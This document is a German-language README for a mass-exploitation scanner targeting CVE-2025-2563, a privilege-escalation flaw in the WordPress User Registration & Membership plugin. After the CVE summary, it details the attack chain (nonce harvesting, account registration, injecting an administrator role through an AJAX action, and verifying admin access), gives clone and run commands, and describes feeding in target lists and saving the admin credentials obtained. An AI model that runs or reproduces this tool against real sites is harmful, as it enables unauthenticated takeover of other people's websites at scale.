
Das User Registration & Membership WordPress-Plugin vor Version 4.1.2 verhindert nicht, dass Benutzer ihre Benutzerrolle festlegen können, wenn das Membership Addon aktiviert ist, was zu einer Privilegienerweiterung führt und nicht authentifizierten Benutzern ermöglicht, Administratorrechte zu erlangen.
Das WordPress-Plugin User Registration & Membership vor Version 4.1.2 verhindert nicht, dass Benutzer ihre Kontorolle festlegen können, wenn das Membership-Addon aktiviert ist, was zu einem Privilegieneskalationsproblem führt und es nicht authentifizierten Benutzern ermöglicht, Administratorrechte zu erlangen.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2025-2563 |
| Schweregrad | HOCH — CVSS v3.1 Score: 8.1 |
| Vektor | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Betroffene Software | User Registration & Membership Plugin für WordPress |
| Betroffene Versionen | Alle Versionen vor 4.1.2 |
| Schwachstellentyp | Fehlerhaftes Privilegienmanagement — Erstellung von Administrator-Konten ohne Authentifizierung |
| Erforderliche Authentifizierung | Keine |
| CWE | CWE-269: Fehlerhaftes Privilegienmanagement |
Beschreibung:
Das User Registration & Membership-Plugin für WordPress in Versionen vor 4.1.2 erzwingt keine serverseitigen Rollenbeschränkungen, wenn das Membership-Addon aktiviert ist. Während des Registrierungsprozesses für die Mitgliedschaft akzeptiert das Plugin ein vom Benutzer bereitgestelltes role-Feld in der AJAX-Aktion user_registration_membership_register_member, ohne es gegen eine serverseitige Whitelist zu validieren. Ein vollständig nicht authentifizierter entfernter Angreifer kann eine ausgeklügelte zweistufige AJAX-Kette einsenden – zuerst ein neues Benutzerkonto über user_registration_user_form_submit registrieren, dann "role": "administrator" in das members_data-Payload des Mitgliedschaftsaufrufs injizieren – um stillschweigend ein vollständig privilegiertes WordPress-Administrator-Konto zu erstellen. Dies führt zu einer vollständigen Kompromittierung der Website ohne erforderliche Authentifizierung oder Benutzerinteraktion.
Dies ist ein Proof-of-Concept (PoC) Massenausnutzungs-Scanner, der auf WordPress-Installationen mit einer anfälligen Version des User Registration & Membership-Plugins mit aktiviertem Membership-Addon abzielt. Das Tool führt eine intelligente mehrstufige Ausnutzung mit automatischer Erkennung, Nonce-Sammlung, Combo-basierter Registrierung, Rolleninjektion und Administrator-Verifikation durch.
[Phase 1 — Erkennung]
GET /membership-pricing/ → Extrahiere membership_id, Preislinks
GET /membership-registration/ → Extrahiere form_id, Nonces, Sicherheitstoken
GET /registration/ → Fallback-Registrierungsseite
↓
[Phase 2 — Nonce-Extraktion]
Parse: ur_membership_frontend_localized_data._nonce
Parse: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Phase 3 — Registrierung (Combo-Angriff)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Probiere alle gültigen Kombinationen bis success=true
↓
[Phase 4 — Rolleninjektion (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Der Server weist dem neu erstellten Benutzer die Administratorrolle zu
↓
[Phase 5 — Administrator-Verifikation]
POST /wp-login.php → Einloggen mit neuen Anmeldedaten
GET /wp-admin/ → Prüfe adminmenu / wp-admin-bar
GET /wp-admin/users.php → Bestätige manage_options-Zugriff
GET /wp-admin/plugin-install.php → Bestätige Plugin-Installationszugriff
↓
[In Nx_admin.txt speichern]
Format: [Zeitstempel] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Oder über eine Anforderungsdatei:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Repository klonen
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Abhängigkeiten installieren
pip install -r requirements.txt
# Tool ausführen
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
Das Tool verwendet eine vollständig interaktive Terminaloberfläche, unterstützt von Rich.
Erstellen Sie eine reine Textdatei (Standard: list.txt) – ein Ziel pro Zeile:
https://target1.com
https://target2.com
http://target3.com
target4.com
Ziele ohne
http://oderhttps://werden automatisch mithttps://ergänzt.
Ziele-Datei [list.txt]: list.txt
Threads [3]: 5
HTTP-Timeout (Sekunden) [10]: 10
Maximale Registrierungsversuche pro Ziel [20]: 20
Das Passwort ist intern fest auf
Nx_adminSAfür alle Registrierungsversuche gesetzt.
Das Tool durchsucht automatisch drei Seiten pro Ziel:
| Seite | Zweck |
|---|---|
/membership-pricing/ | membership_id und Registrierungslinks extrahieren |
/membership-registration/ | Formular-Token, Nonces und Feld-IDs extrahieren |
/membership-registration/?membership_id=<id> | Planspezifische Formular-Extraktion |
/registration/ | Fallback-generische Registrierungsseite |
Die folgenden Token werden aus rohem HTML und Inline-JavaScript extrahiert:
| Token | Quelle |
|---|---|
_nonce | ur_membership_frontend_localized_data JS-Objekt |
ur_frontend_form_nonce | Verstecktes Eingabefeld oder JS-Objekt |
security | user_registration_params.user_registration_form_data_save |
form_id | Versteckte Eingabe ur-user-form-id oder JS-Objekt |
membership_id | Radio-Eingabe urm_membership oder URL-Abfragezeichenfolge |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest